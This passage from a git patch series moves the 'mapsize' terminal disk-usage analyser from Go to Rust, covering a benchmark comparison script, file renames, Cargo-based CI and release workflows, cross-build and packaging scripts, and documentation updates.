-interleaved for several rounds and prints the best time per op of each. - - rust/bench/micro.py GO_TUI_TEST GO_TREEMAP_TEST RUST_BENCH [ROUNDS] - -Build the inputs with `go test -c ./internal/tui`, `go test -c -./internal/treemap` and `cargo build --release --example bench`. The Go tui -test binary must run from internal/tui, so run this from the repo root. -""" -import re, subprocess, sys - -go_tui, go_tm, rust = sys.argv[1:4] -rounds = int(sys.argv[4]) if len(sys.argv) > 4 else 5 -names = { # rust name -> go name - "treemap/Squarify(300)": "Squarify", "treemap/Neighbour(300)": "Neighbour", - "tui/BigColdFrame": "BigColdFrame", "tui/BigResize": "BigResize", - "tui/BigFlatDirCold": "BigFlatDirCold", "tui/BigNavigate": "BigNavigate", - "tui/BigFilter/size > 1MB": "BigFilter/size_>_1MB", - "tui/BigFilter/*.dat AND size > 500k": "BigFilter/*.dat_AND_size_>_500k", - "tui/BigFilter/path contains sub3": "BigFilter/path_contains_sub3", -} -unit = {"ns": 1e-9, "µs": 1e-6, "ms": 1e-3, "s": 1} -go_best, rust_best = {}, {} - -def keep(d, k, v): - d[k] = min(d.get(k, v), v) - -for _ in range(rounds): - for exe, cwd in ((go_tui, "internal/tui"), (go_tm, "internal/treemap")): - out = subprocess.run([exe, "-test.run=NONE", "-test.bench=.", "-test.benchtime=1s"], cwd=cwd, capture_output=True, text=True).stdout - for m in re.finditer(r"^Benchmark(\S+?)-\d+\s+\d+\s+([\d.]+) ns/op", out, re.M): - keep(go_best, m[1], float(m[2]) * 1e-9) - out = subprocess.run([rust], capture_output=True, text=True).stdout - for m in re.finditer(r"^(\S.*?)\s+\d+ ops\s+([\d.]+)(ns|µs|ms|s)/op", out, re.M): - keep(rust_best, m[1].strip(), float(m[2]) * unit[m[3]]) - -def fmt(s): - return f"{s * 1e6:.1f} µs" if s < 1e-3 else f"{s * 1e3:.2f} ms" - -print(f"Best of {rounds} interleaved rounds\n") -print("| benchmark | Go | Rust | speed-up |\n|---|---:|---:|---:|") -for r, g in names.items(): - if r in rust_best and g in go_best: - print(f"| {r} | {fmt(go_best[g])} | {fmt(rust_best[r])} | {go_best[g] / rust_best[r]:.2f}× |") diff --git a/rust/src/app.rs b/src/app.rs similarity index 100% rename from rust/src/app.rs rename to src/app.rs diff --git a/rust/src/brand.rs b/src/brand.rs similarity index 100% rename from rust/src/brand.rs rename to src/brand.rs diff --git a/rust/src/cancel.rs b/src/cancel.rs similarity index 100% rename from rust/src/cancel.rs rename to src/cancel.rs diff --git a/rust/src/config.rs b/src/config.rs similarity index 100% rename from rust/src/config.rs rename to src/config.rs diff --git a/rust/src/duplicate.rs b/src/duplicate.rs similarity index 100% rename from rust/src/duplicate.rs rename to src/duplicate.rs diff --git a/rust/src/export.rs b/src/export.rs similarity index 100% rename from rust/src/export.rs rename to src/export.rs diff --git a/rust/src/filter/apply.rs b/src/filter/apply.rs similarity index 100% rename from rust/src/filter/apply.rs rename to src/filter/apply.rs diff --git a/rust/src/filter/eval.rs b/src/filter/eval.rs similarity index 100% rename from rust/src/filter/eval.rs rename to src/filter/eval.rs diff --git a/rust/src/filter/lexer.rs b/src/filter/lexer.rs similarity index 100% rename from rust/src/filter/lexer.rs rename to src/filter/lexer.rs diff --git a/rust/src/filter/mod.rs b/src/filter/mod.rs similarity index 100% rename from rust/src/filter/mod.rs rename to src/filter/mod.rs diff --git a/rust/src/filter/parser.rs b/src/filter/parser.rs similarity index 100% rename from rust/src/filter/parser.rs rename to src/filter/parser.rs diff --git a/rust/src/inventory/category.rs b/src/inventory/category.rs similarity index 100% rename from rust/src/inventory/category.rs rename to src/inventory/category.rs diff --git a/rust/src/inventory/mod.rs b/src/inventory/mod.rs similarity index 100% rename from rust/src/inventory/mod.rs rename to src/inventory/mod.rs diff --git a/rust/src/inventory/query.rs b/src/inventory/query.rs similarity index 100% rename from rust/src/inventory/query.rs rename to src/inventory/query.rs diff --git a/rust/src/inventory/stats.rs b/src/inventory/stats.rs similarity index 100% rename from rust/src/inventory/stats.rs rename to src/inventory/stats.rs diff --git a/rust/src/lib.rs b/src/lib.rs similarity index 100% rename from rust/src/lib.rs rename to src/lib.rs diff --git a/rust/src/main.rs b/src/main.rs similarity index 100% rename from rust/src/main.rs rename to src/main.rs diff --git a/rust/src/platform.rs b/src/platform.rs similarity index 100% rename from rust/src/platform.rs rename to src/platform.rs diff --git a/rust/src/scan.rs b/src/scan.rs similarity index 100% rename from rust/src/scan.rs rename to src/scan.rs diff --git a/rust/src/snapshot/compare.rs b/src/snapshot/compare.rs similarity index 100% rename from rust/src/snapshot/compare.rs rename to src/snapshot/compare.rs diff --git a/rust/src/snapshot/mod.rs b/src/snapshot/mod.rs similarity index 100% rename from rust/src/snapshot/mod.rs rename to src/snapshot/mod.rs diff --git a/rust/src/snapshot/testdata/go.msz b/src/snapshot/testdata/go.msz similarity index 100% rename from rust/src/snapshot/testdata/go.msz rename to src/snapshot/testdata/go.msz diff --git a/rust/src/textutil.rs b/src/textutil.rs similarity index 100% rename from rust/src/textutil.rs rename to src/textutil.rs diff --git a/rust/src/treemap/mod.rs b/src/treemap/mod.rs similarity index 100% rename from rust/src/treemap/mod.rs rename to src/treemap/mod.rs diff --git a/rust/src/treemap/nav.rs b/src/treemap/nav.rs similarity index 100% rename from rust/src/treemap/nav.rs rename to src/treemap/nav.rs diff --git a/rust/src/tui/actions.rs b/src/tui/actions.rs similarity index 100% rename from rust/src/tui/actions.rs rename to src/tui/actions.rs diff --git a/rust/src/tui/bench.rs b/src/tui/bench.rs similarity index 100% rename from rust/src/tui/bench.rs rename to src/tui/bench.rs diff --git a/rust/src/tui/canvas.rs b/src/tui/canvas.rs similarity index 100% rename from rust/src/tui/canvas.rs rename to src/tui/canvas.rs diff --git a/rust/src/tui/color256.rs b/src/tui/color256.rs similarity index 100% rename from rust/src/tui/color256.rs rename to src/tui/color256.rs diff --git a/rust/src/tui/data.rs b/src/tui/data.rs similarity index 100% rename from rust/src/tui/data.rs rename to src/tui/data.rs diff --git a/rust/src/tui/infoview.rs b/src/tui/infoview.rs similarity index 100% rename from rust/src/tui/infoview.rs rename to src/tui/infoview.rs diff --git a/rust/src/tui/keys.rs b/src/tui/keys.rs similarity index 100% rename from rust/src/tui/keys.rs rename to src/tui/keys.rs diff --git a/rust/src/tui/mapview.rs b/src/tui/mapview.rs similarity index 100% rename from rust/src/tui/mapview.rs rename to src/tui/mapview.rs diff --git a/rust/src/tui/mod.rs b/src/tui/mod.rs similarity index 100% rename from rust/src/tui/mod.rs rename to src/tui/mod.rs diff --git a/rust/src/tui/modal.rs b/src/tui/modal.rs similarity index 100% rename from rust/src/tui/modal.rs rename to src/tui/modal.rs diff --git a/rust/src/tui/modals.rs b/src/tui/modals.rs similarity index 100% rename from rust/src/tui/modals.rs rename to src/tui/modals.rs diff --git a/rust/src/tui/model.rs b/src/tui/model.rs similarity index 100% rename from rust/src/tui/model.rs rename to src/tui/model.rs diff --git a/rust/src/tui/mouse.rs b/src/tui/mouse.rs similarity index 100% rename from rust/src/tui/mouse.rs rename to src/tui/mouse.rs diff --git a/rust/src/tui/render.rs b/src/tui/render.rs similarity index 100% rename from rust/src/tui/render.rs rename to src/tui/render.rs diff --git a/rust/src/tui/run.rs b/src/tui/run.rs similarity index 100% rename from rust/src/tui/run.rs rename to src/tui/run.rs diff --git a/rust/src/tui/search.rs b/src/tui/search.rs similarity index 100% rename from rust/src/tui/search.rs rename to src/tui/search.rs diff --git a/rust/src/tui/side.rs b/src/tui/side.rs similarity index 100% rename from rust/src/tui/side.rs rename to src/tui/side.rs diff --git a/rust/src/tui/table.rs b/src/tui/table.rs similarity index 100% rename from rust/src/tui/table.rs rename to src/tui/table.rs diff --git a/rust/src/tui/tests.rs b/src/tui/tests.rs similarity index 100% rename from rust/src/tui/tests.rs rename to src/tui/tests.rs diff --git a/rust/src/tui/theme.rs b/src/tui/theme.rs similarity index 100% rename from rust/src/tui/theme.rs rename to src/tui/theme.rs diff --git a/rust/src/tui/views.rs b/src/tui/views.rs similarity index 100% rename from rust/src/tui/views.rs rename to src/tui/views.rs -- 2.53.0 From ce8acf0adeef58bb4f5d5f38d832c28ce0546a11 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:54:56 +0100 Subject: [PATCH 03/12] Build, test and release with cargo: CI, release workflow, cross-build and packaging scripts, Homebrew --- .github/actions/cross-tools/action.yml | 16 ++++++ .github/workflows/ci.yml | 43 ++++++++------ .github/workflows/release.yml | 46 +++++++++++++++ CHANGELOG.md | 22 ++++++++ Makefile | 70 ++++++++--------------- README.md | 19 ++++--- ROADMAP.md | 4 +- docs/mapsize.1 | 16 ++---- nfpm.yaml | 14 ----- packaging/homebrew/mapsize.rb.in | 7 +-- packaging/repo.sh | 36 ++++++++---- scripts/build.sh | 77 ++++++++++++++++++++++++++ scripts/nfpm.sh | 20 +++++++ scripts/release.sh | 63 +++++++++++++++++++++ 14 files changed, 335 insertions(+), 118 deletions(-) create mode 100644 .github/actions/cross-tools/action.yml create mode 100644 .github/workflows/release.yml delete mode 100644 nfpm.yaml create mode 100755 scripts/build.sh create mode 100755 scripts/nfpm.sh create mode 100755 scripts/release.sh diff --git a/.github/actions/cross-tools/action.yml b/.github/actions/cross-tools/action.yml new file mode 100644 index 0000000..538f4ce --- /dev/null +++ b/.github/actions/cross-tools/action.yml @@ -0,0 +1,16 @@ +name: cross-tools +description: Rust targets, zig, cargo-zigbuild and cross for scripts/build.sh +runs: + using: composite + steps: + - shell: bash + run: | + rustup target add x86_64-unknown-linux-musl aarch64-unknown-linux-musl i686-unknown-linux-musl \ + armv7-unknown-linux-musleabihf riscv64gc-unknown-linux-musl x86_64-pc-windows-gnu \ + aarch64-pc-windows-gnullvm x86_64-unknown-freebsd x86_64-unknown-netbsd + curl -sSLo zig.tar.xz https://ziglang.org/download/0.16.0/zig-x86_64-linux-0.16.0.tar.xz + echo "70e49664a74374b48b51e6f3fdfbf437f6395d42509050588bd49abe52ba3d00 zig.tar.xz" | sha256sum -c + mkdir -p "$HOME/zig" && tar -xJf zig.tar.xz -C "$HOME/zig" --strip-components=1 && rm zig.tar.xz + echo "$HOME/zig" >>"$GITHUB_PATH" + cargo install cargo-zigbuild --version 0.23.4 --locked + cargo install cross --version 0.2.5 --locked diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0428f35..1de7a30 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -4,29 +4,38 @@ on: pull_request: permissions: contents: read +env: + CARGO_TERM_COLOR: always jobs: + lint: + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@v5 + - run: rustup component add rustfmt clippy + - run: cargo fmt --check + - run: cargo clippy --locked --all-targets -- -D warnings + test: strategy: fail-fast: false matrix: - os: [ubuntu-latest, macos-latest, windows-latest] + os: [ubuntu-24.04, ubuntu-24.04-arm, macos-15, macos-15-intel, windows-2025] runs-on: ${{ matrix.os }} steps: - - uses: actions/checkout@v4 - - uses: actions/setup-go@v5 - with: - go-version-file: go.mod - - name: format - if: runner.os == 'Linux' - run: test -z "$(gofmt -l .)" - - run: go vet ./... - - run: go test ./... - - name: race - if: runner.os != 'Windows' - run: go test -race ./... - - name: cross-build - if: runner.os == 'Linux' + - uses: actions/checkout@v5 + - run: cargo test --release --locked --all-targets + - run: cargo run --release --locked -- --no-ui . + + cross: + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@v5 + - uses: ./.github/actions/cross-tools + - name: every target but macOS (built natively by the test job) + run: TARGETS="linux/amd64 linux/arm64 linux/386 linux/arm linux/riscv64 windows/amd64 windows/arm64 freebsd/amd64 netbsd/amd64" scripts/build.sh + - name: static binaries run under qemu run: | - for t in linux/arm64 linux/386 darwin/arm64 windows/amd64 freebsd/amd64; do - GOOS=${t%/*} GOARCH=${t#*/} CGO_ENABLED=0 go build -o /dev/null ./cmd/mapsize + sudo apt-get update -q && sudo apt-get install -yq qemu-user + for t in "arm64 qemu-aarch64" "arm qemu-arm" "riscv64 qemu-riscv64"; do + ${t#* } dist/mapsize-linux-${t%% *} --no-ui src >/dev/null done diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..e1ea2cb --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,46 @@ +# On a version tag: build every target, package, and publish a GitHub +# release whose notes are the tag's CHANGELOG.md section. +name: release +on: + push: + tags: ["v*"] +permissions: + contents: read +env: + CARGO_TERM_COLOR: always +jobs: + build-cross: + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@v5 + - uses: ./.github/actions/cross-tools + - run: TARGETS="linux/amd64 linux/arm64 linux/386 linux/arm linux/riscv64 windows/amd64 windows/arm64 freebsd/amd64 netbsd/amd64" scripts/build.sh + - uses: actions/upload-artifact@v4 + with: {name: bin-cross, path: dist/mapsize-*} + + build-macos: + runs-on: macos-15 + steps: + - uses: actions/checkout@v5 + - run: rustup target add x86_64-apple-darwin aarch64-apple-darwin + - run: TARGETS="darwin/amd64 darwin/arm64" scripts/build.sh + - uses: actions/upload-artifact@v4 + with: {name: bin-macos, path: dist/mapsize-*} + + publish: + needs: [build-cross, build-macos] + runs-on: ubuntu-24.04 + permissions: + contents: write + steps: + - uses: actions/checkout@v5 + - uses: actions/download-artifact@v4 + with: {path: dist, merge-multiple: true} + - run: scripts/release.sh "$GITHUB_REF_NAME" dist dist/release + - name: release + env: + GH_TOKEN: ${{ github.token }} + run: | + v=${GITHUB_REF_NAME#v} + awk -v h="## $v" 'index($0, h) == 1 {f=1; next} /^## /{f=0} f' CHANGELOG.md >notes.md + gh release create "$GITHUB_REF_NAME" --title "$GITHUB_REF_NAME" --notes-file notes.md dist/release/* diff --git a/CHANGELOG.md b/CHANGELOG.md index 1762481..3a8a656 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,27 @@ # Changelog +## Unreleased + +### Changed +- Rewritten in Rust. Flags, keys, views, themes, the configuration file and + the snapshot format are unchanged: snapshots from earlier releases open as + before, and older releases open new ones. Measured against 1.2.0 on the + same machine, scans are about 1.3× faster with a third less memory, cold + treemap frames about 3× faster, and filters up to 1.8× faster (see + PERFORMANCE.md). +- Release builds: Linux (x86-64, ARM64, 32-bit x86, ARMv7, RISC-V 64), + macOS (Intel, Apple silicon), Windows (x86-64, ARM64), FreeBSD and NetBSD + (x86-64), built and published by CI. OpenBSD and FreeBSD/ARM64 builds are + no longer produced. +- `--log` and `--log-level` are accepted but no log is written yet; + `--cpuprofile` and `--memprofile` are removed. +- Install from source with `cargo install`; the Homebrew formula builds with + Rust. + +### Fixed +- A search containing certain non-ASCII text (for example `voilà`) no longer + hangs. + ## 1.2.0 — 2026-10-03 ### Changed diff --git a/Makefile b/Makefile index cc51ac7..0bfe7c8 100644 --- a/Makefile +++ b/Makefile @@ -1,80 +1,54 @@ -BIN := bin -PKG := ./... -VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev) -LDFLAGS := -s -w PREFIX ?= /usr/local +VERSION ?= $(shell sed -n 's/^version = "\(.*\)"/\1/p' Cargo.toml | head -1) -.PHONY: build install man brew-formula test race vet fmt fmt-check benchmark fuzz release clean treegen +.PHONY: build install man test lint fmt fmt-check benchmark treegen release brew-formula clean build: - go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize - go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen + cargo build --release --locked install: build - install -Dm755 $(BIN)/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize + install -Dm755 target/release/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize install -Dm644 docs/mapsize.1 $(DESTDIR)$(PREFIX)/share/man/man1/mapsize.1 man: man -l docs/mapsize.1 test: - go test $(PKG) + cargo test --release --locked -race: - go test -race $(PKG) - -vet: - go vet $(PKG) +lint: + cargo clippy --locked --all-targets -- -D warnings fmt: - gofmt -w . + cargo fmt fmt-check: - @test -z "$$(gofmt -l .)" || (gofmt -l . && echo 'run make fmt' && exit 1) + cargo fmt --check benchmark: - go test -run=NONE -bench=. -benchmem $(PKG) + cargo run --release --locked --example bench -fuzz: - go test -run=NONE -fuzz=FuzzLoad -fuzztime=30s ./internal/snapshot - go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap - go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter +treegen: + cargo build --release --locked --example treegen -# Cross-built archives plus .deb/.rpm/.apk/Arch packages in $(BIN)/release. -REL := $(BIN)/release -NFPM := go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1 +# Binaries for every target this host can build (see scripts/build.sh), then +# archives, Linux packages and SHA256SUMS in dist/release. Tagged releases are +# built on GitHub's runners by .github/workflows/release.yml instead. release: - rm -rf $(REL) && mkdir -p $(REL) - @set -e; v=$(VERSION); v=$${v#v}; \ - for t in linux/amd64 linux/arm64 linux/386 linux/arm darwin/amd64 darwin/arm64 \ - windows/amd64 windows/arm64 freebsd/amd64 freebsd/arm64 openbsd/amd64 netbsd/amd64; do \ - os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \ - name=mapsize-$$v-$$os-$$arch; d=$(REL)/$$name; echo "$$os/$$arch"; mkdir -p $$d; \ - CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch GOARM=7 go build -trimpath \ - -ldflags '$(LDFLAGS) -X github.com/andydixon/mapsize/internal/brand.Version='$$v \ - -o $$d/mapsize$$ext ./cmd/mapsize; \ - cp README.md CHANGELOG.md LICENSE docs/mapsize.1 $$d/; \ - if [ $$os = windows ]; then (cd $(REL) && zip -qr $$name.zip $$name); \ - else tar -C $(REL) -czf $(REL)/$$name.tar.gz $$name; fi; \ - if [ $$os = linux ]; then mkdir -p $(REL)/pkg && cp $$d/mapsize $(REL)/pkg/; \ - a=$$arch; [ $$a = arm ] && a=arm7; \ - for f in deb rpm apk archlinux; do \ - VERSION=$$v ARCH=$$a $(NFPM) pkg -f nfpm.yaml -p $$f -t $(REL)/; done; rm -rf $(REL)/pkg; fi; \ - rm -rf $$d; \ - done; \ - cd $(REL) && sha256sum * > SHA256SUMS + scripts/build.sh || true + scripts/release.sh $(VERSION) dist dist/release # Homebrew formula for the tagged release. The tag must already be pushed: # the checksum is of GitHub's source tarball for that tag. BREW_REPO := https://github.com/andydixon/mapsize brew-formula: @set -e; v=$(VERSION); v=$${v#v}; \ - case $$v in *-*) echo "brew-formula: HEAD is not exactly a release tag ($$v)"; exit 1;; esac; \ url=$(BREW_REPO)/archive/refs/tags/v$$v.tar.gz; \ sum=$$(curl -fsSL "$$url" | sha256sum | cut -d' ' -f1) || { echo "cannot fetch $$url (tag pushed?)"; exit 1; }; \ - mkdir -p $(BIN)/homebrew; \ - sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > $(BIN)/homebrew/mapsize.rb; \ - echo "wrote $(BIN)/homebrew/mapsize.rb (v$$v, sha256 $$sum)" + mkdir -p dist/homebrew; \ + sed -e '/^#/d' -e "s/@VERSION@/$$v/g" -e "s/@SHA256@/$$sum/" packaging/homebrew/mapsize.rb.in > dist/homebrew/mapsize.rb; \ + echo "wrote dist/homebrew/mapsize.rb (v$$v, sha256 $$sum)" clean: - rm -rf $(BIN) + cargo clean + rm -rf dist diff --git a/README.md b/README.md index 4d397b6..0fd7e3b 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,18 @@ # mapsize An interactive, full-terminal disk usage analyser built around a live, -navigable treemap. Think WinDirStat + ncdu + WizTree, in one Go binary that -runs over SSH. +navigable treemap. Think WinDirStat + ncdu + WizTree, in one Rust binary +that runs over SSH. -> `mapsize` is a working name; branding lives in `internal/brand`. +> `mapsize` is a working name; branding lives in `src/brand.rs`. ## Status -Version 1.0. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for +Version 1.2. See [CHANGELOG.md](CHANGELOG.md), [ROADMAP.md](ROADMAP.md) for what comes next, and [PERFORMANCE.md](PERFORMANCE.md) for measured numbers. -Tested on Linux; macOS and Windows builds are produced but trash and -file-manager integration have not yet been tested there. +Releases cover Linux, macOS, Windows, FreeBSD and NetBSD. It is tested on +Linux; CI also runs the test suite on macOS and Windows, but trash and +file-manager integration have not yet been tried by hand there. ## What it does @@ -70,9 +71,9 @@ the map or scrolls lists. Everything works without a mouse (`--no-mouse`). ## Install ```sh -go install github.com/andydixon/mapsize/cmd/mapsize@v1.0.0 -# or -make build # → bin/mapsize +cargo install --locked --git https://github.com/andydixon/mapsize +# or, from a checkout +make build # → target/release/mapsize sudo make install # binary + man page under /usr/local (PREFIX=… to change) # Homebrew (macOS and Linux) diff --git a/ROADMAP.md b/ROADMAP.md index 796637c..c30475f 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -3,14 +3,14 @@ Status markers: `[x]` done, `[~]` partial, `[ ]` not started. ## 0.1 — inventory engine -- [x] Go project skeleton, Makefile, CI +- [x] project skeleton, Makefile, CI - [x] portable filesystem scanner, bounded worker pool, no-deadlock scheduler - [x] inventory node model, incremental aggregation - [x] cancellation, progress counters, error accounting - [x] CLI: `--top`, `--json`, `--csv`, `--no-ui` ## 0.2 — TUI shell -- [x] full-screen Bubble Tea v2 app, canvas renderer, frame cache +- [x] full-screen terminal app, canvas renderer, frame cache - [x] responsive layout (large / medium / small / too-small) - [x] resize handling, status bar, progressive display, directory list diff --git a/docs/mapsize.1 b/docs/mapsize.1 index 723d283..15c6271 100644 --- a/docs/mapsize.1 +++ b/docs/mapsize.1 @@ -142,18 +142,10 @@ colouring, or prints the most significant changes with \fB\-\-no\-ui\fR (\fB\-\-top\fR sets how many; default 30). .SS Diagnostics .TP -.BI \-\-log " FILE" -Append a log to \fIFILE\fR without disturbing the interface. Full paths are -logged only at \fBdebug\fR level and above. -.TP -.BI \-\-log\-level " LEVEL" -.BR error ", " warn ", " info " (default), " debug " or " trace . -.TP -.BI \-\-cpuprofile " FILE" -Write a Go CPU profile. -.TP -.BI \-\-memprofile " FILE" -Write a Go heap profile on exit. +.BI \-\-log " FILE" "\fR, \fP\-\-log\-level " LEVEL +Accepted for compatibility with earlier releases; currently no log is +written. \fILEVEL\fR must still be one of +.BR error ", " warn ", " info ", " debug " or " trace . .TP .B \-\-version Print the version and exit. diff --git a/nfpm.yaml b/nfpm.yaml deleted file mode 100644 index 20e9dbd..0000000 --- a/nfpm.yaml +++ /dev/null @@ -1,14 +0,0 @@ -name: mapsize -arch: ${ARCH} -version: ${VERSION} -maintainer: Andy Dixon -description: Interactive full-terminal disk usage analyser with a live treemap. -homepage: https://github.com/andydixon/mapsize -license: GPL-3.0-or-later -contents: - - src: bin/release/pkg/mapsize - dst: /usr/bin/mapsize - - src: docs/mapsize.1 - dst: /usr/share/man/man1/mapsize.1 - file_info: - mode: 0644 diff --git a/packaging/homebrew/mapsize.rb.in b/packaging/homebrew/mapsize.rb.in index 2849f70..ee3a9b4 100644 --- a/packaging/homebrew/mapsize.rb.in +++ b/packaging/homebrew/mapsize.rb.in @@ -1,6 +1,6 @@ # Homebrew formula template for mapsize. `make brew-formula` fills in the # version and the checksum of the GitHub source tarball and writes the -# result to bin/homebrew/mapsize.rb; copy that into your tap +# result to dist/homebrew/mapsize.rb; copy that into your tap # (github.com/andydixon/homebrew-tap, Formula/mapsize.rb). class Mapsize < Formula desc "Interactive terminal disk usage analyser with a navigable treemap" @@ -10,11 +10,10 @@ class Mapsize < Formula license "GPL-3.0-or-later" head "https://github.com/andydixon/mapsize.git", branch: "master" - depends_on "go" => :build + depends_on "rust" => :build def install - ldflags = "-X github.com/andydixon/mapsize/internal/brand.Version=#{version}" - system "go", "build", *std_go_args(ldflags:), "./cmd/mapsize" + system "cargo", "install", *std_cargo_args man1.install "docs/mapsize.1" end diff --git a/packaging/repo.sh b/packaging/repo.sh index 76f914a..7d2919b 100755 --- a/packaging/repo.sh +++ b/packaging/repo.sh @@ -10,10 +10,11 @@ # Every index is rebuilt over all the packages in the repository, so other # projects publishing there with their copy of this script are kept. # -# Needs: go, docker, gpg, apt-ftparchive (apt-utils), flock. +# Needs: cargo with cargo-zigbuild and zig (static musl cross-builds), curl +# (to fetch the pinned nfpm), docker, gpg, apt-ftparchive (apt-utils), flock. # REPO_DIR where the repository lives (default below) # REPO_GNUPGHOME GnuPG home holding the signing key (default below) -# ARCHS Go architectures to package (default below) +# ARCHS package architectures (default below) # # The same script, with its own project block, is in ../vault/packaging. set -euo pipefail @@ -27,19 +28,30 @@ HOMEPAGE=https://github.com/andydixon/mapsize LICENSE=GPL-3.0-or-later MANPAGES=docs/*.1 DOCS="README.md CHANGELOG.md LICENSE" -# build OUT: build the binary to OUT, in the source tree, with GOOS, GOARCH -# and GOARM set and VERSION the release. +# Package architecture -> Rust target (static musl binaries). +triple() { + case $1 in + amd64) echo x86_64-unknown-linux-musl ;; + arm64) echo aarch64-unknown-linux-musl ;; + arm) echo armv7-unknown-linux-musleabihf ;; + 386) echo i686-unknown-linux-musl ;; + riscv64) echo riscv64gc-unknown-linux-musl ;; + *) return 1 ;; + esac +} +# build ARCH OUT: build the binary for ARCH to OUT, in the source tree. build() { - CGO_ENABLED=0 go build -trimpath \ - -ldflags "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=$VERSION" \ - -o "$1" ./cmd/mapsize + local t + t=$(triple "$1") || die "no Rust target for $1" + RUSTFLAGS="--remap-path-prefix=$PWD=$NAME" cargo zigbuild --quiet --release --locked --target "$t" + install -D -m 0755 "target/$t/release/$NAME" "$2" } # ---------------------------------------------------------------------------- REPO_DIR=${REPO_DIR:-/home/andy/domains/repo.dixon.cx/public_html} REPO_GNUPGHOME=${REPO_GNUPGHOME:-$HOME/.config/repo.dixon.cx/gnupg} ARCHS=${ARCHS:-"amd64 arm64 arm 386 riscv64"} -NFPM="go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1" +NFPM="$(cd "$(dirname "$0")/.." && pwd)/scripts/nfpm.sh" SUITE=stable COMPONENT=main ARCH_REPO=dixon # the pacman repository name: [dixon] @@ -47,7 +59,7 @@ ARCH_REPO=dixon # the pacman repository name: [dixon] say() { echo "repo: $*" >&2; } die() { say "$*"; exit 1; } -for tool in go docker gpg apt-ftparchive flock; do +for tool in cargo cargo-zigbuild zig curl docker gpg apt-ftparchive flock; do command -v $tool >/dev/null || die "needs $tool" done [[ -d $REPO_DIR ]] || die "$REPO_DIR does not exist" @@ -70,9 +82,9 @@ gpg --batch --armor --export-secret-keys "$KEY" >"$WORK/signing.asc" say "building $PACKAGE $VERSION for $ARCHS" mkdir -p "$WORK/out" for arch in $ARCHS; do - goarm= nfarch=$arch - [[ $arch == arm ]] && goarm=7 nfarch=arm7 - (cd "$WORK/src" && GOOS=linux GOARCH=$arch GOARM=$goarm build "$WORK/bin-$arch/$NAME") + nfarch=$arch + [[ $arch == arm ]] && nfarch=arm7 + (cd "$WORK/src" && build "$arch" "$WORK/bin-$arch/$NAME") { cat <<-EOF name: $PACKAGE diff --git a/scripts/build.sh b/scripts/build.sh new file mode 100755 index 0000000..9b628b6 --- /dev/null +++ b/scripts/build.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +# Build mapsize release binaries for the supported operating systems and +# CPU architectures. +# +# scripts/build.sh # every target this host can build, into dist/ +# TARGETS="linux/amd64 darwin/arm64" scripts/build.sh +# OUT=/tmp/bins scripts/build.sh +# +# Binaries are named mapsize-OS-ARCH[.exe]: stripped release builds from the +# locked dependencies (Cargo.lock), with build paths remapped so the output +# does not depend on where the tree lives. Linux binaries are static (musl). +# +# How each target is built, and what the host needs: +# zig cargo-zigbuild and zig on PATH (Linux, Windows) +# mac a Mac, or cargo-zigbuild and zig (macOS) +# cross `cross` and Docker (FreeBSD, NetBSD) +# A requested target the host cannot build is reported, the others are still +# built, and the script exits non-zero. The release workflow +# (.github/workflows/release.yml) builds every target on GitHub's runners. +set -euo pipefail +cd "$(dirname "$0")/.." +root=$PWD + +table() { + # os/arch Rust target method + cat <<-'EOF2' + linux/amd64 x86_64-unknown-linux-musl zig + linux/arm64 aarch64-unknown-linux-musl zig + linux/386 i686-unknown-linux-musl zig + linux/arm armv7-unknown-linux-musleabihf zig + linux/riscv64 riscv64gc-unknown-linux-musl zig + windows/amd64 x86_64-pc-windows-gnu zig + windows/arm64 aarch64-pc-windows-gnullvm zig + darwin/amd64 x86_64-apple-darwin mac + darwin/arm64 aarch64-apple-darwin mac + freebsd/amd64 x86_64-unknown-freebsd cross + netbsd/amd64 x86_64-unknown-netbsd cross + EOF2 +} + +out=${OUT:-dist} +targets=${TARGETS:-$(table | awk '{print $1}')} +mkdir -p -- "$out" +out=$(cd -- "$out" && pwd -P) +case $out in +/ | "$(cd ~ && pwd -P)" | "$root") echo "refusing OUT=$out: use a dedicated directory" >&2; exit 2 ;; +esac +export RUSTFLAGS="${RUSTFLAGS:-} --remap-path-prefix=$root=mapsize --remap-path-prefix=${CARGO_HOME:-$HOME/.cargo}=cargo" +have() { command -v "$1" >/dev/null; } + +status=0 +for want in $targets; do + row=$(table | awk -v t="$want" '$1 == t') + [[ -n $row ]] || { echo "UNKNOWN $want" >&2; status=1; continue; } + read -r _ triple method <<<"$row" + ext=; [[ $want == windows/* ]] && ext=.exe + name=mapsize-${want/\//-}$ext + case $method in + zig) have cargo-zigbuild && have zig && cmd=(cargo zigbuild) || + { echo "SKIPPED $want: needs cargo-zigbuild and zig" >&2; status=1; continue; } ;; + mac) + if [[ $(uname -s) == Darwin ]]; then cmd=(cargo build) + elif have cargo-zigbuild && have zig; then cmd=(cargo zigbuild) + else echo "SKIPPED $want: needs a 